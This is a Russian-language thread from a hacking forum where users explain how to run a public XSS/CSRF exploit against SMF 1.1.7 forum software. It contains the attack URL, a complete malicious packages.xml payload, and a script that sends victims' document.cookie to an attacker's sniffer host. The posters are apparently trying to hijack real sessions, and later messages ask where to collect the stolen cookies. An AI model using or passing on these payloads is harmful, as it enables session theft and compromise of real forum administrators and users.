Форум АНТИЧАТ - Сплойт под SMF 1.1.7

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)

- - Сплойт под SMF 1.1.7 (https://forum.antichat.xyz/showthread.php?t=169395)

Сплойт под SMF 1.1.7

Подскажите, как использовать данный эксплойт. Схема действий, хотя бы вкратце..

http://www.exploit-db.com/exploits/7866

Я понимаю, что наверняка много подобных тем, но в поиске почти ничего не нашел... Буду очень благодарен.

http://атакуемыйсайт.com/index.php?action=packageget;sa=browse;absolute=htt p://твой сайт.com

а на нем файл packages.xml
с таким вот содержанием:

PHP код:


		
			
<?xml version="1.0"?>

<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">

<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

XSRF SMF PoC By Xianur0

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->



<package-list xmlns="http://www.simplemachines.org/xml/package-list"

xmlns:smf="http://www.simplemachines.org/">

<list-title>Xianur0 Was Here</list-title>



<section>

    <title>SMF XSS PoC By Xianur0</title>

    <text><![CDATA[<script>alert('XSS')</script>]]></text>

    <modification>

        <id>Xianur0:XSMF</id>

        <name>SMF PoC By Xianur0</name>

        <filename>smfexploit.zip</filename>

        <version>0.1</version>

        <author email="uxmal666@gmail.com">Xianur0</author>

        <description><![CDATA[<script>alert(document.cookie)</script>]]></description>

    </modification>

</section>

</package-list>

эммм... как бэ вроде так

Цитата:

Сообщение от Sleep

эммм... как бэ вроде так

это я и сам прочитал) Интересует схема действий, при использовании. Где потом брать куки? куда вставлять айфрейм?

Цитата:

PHP код:


		
			
 <text><![CDATA[<script>alert('XSS')</script>]]></text>

Цитата:

PHP код:


		
			
 <text><![CDATA[<script>img = new Image(); img.src = "http://адрес сниффера/img.gif?"+document.cookie;</script>]]></text>

можно так...

Цитата:

Сообщение от Gos

Это уже к сплоиту не имеет отношения. Читай статьи про XSS.

плиз как использовать данный script ,как сделать ссылку на снифер в данной ситуации,Спасибо.

<EMBED SRC="data:image/svg+xml;base64,как сделать ссылку на снифер" type="image/svg+xml" AllowScriptAccess="always"></EMBED>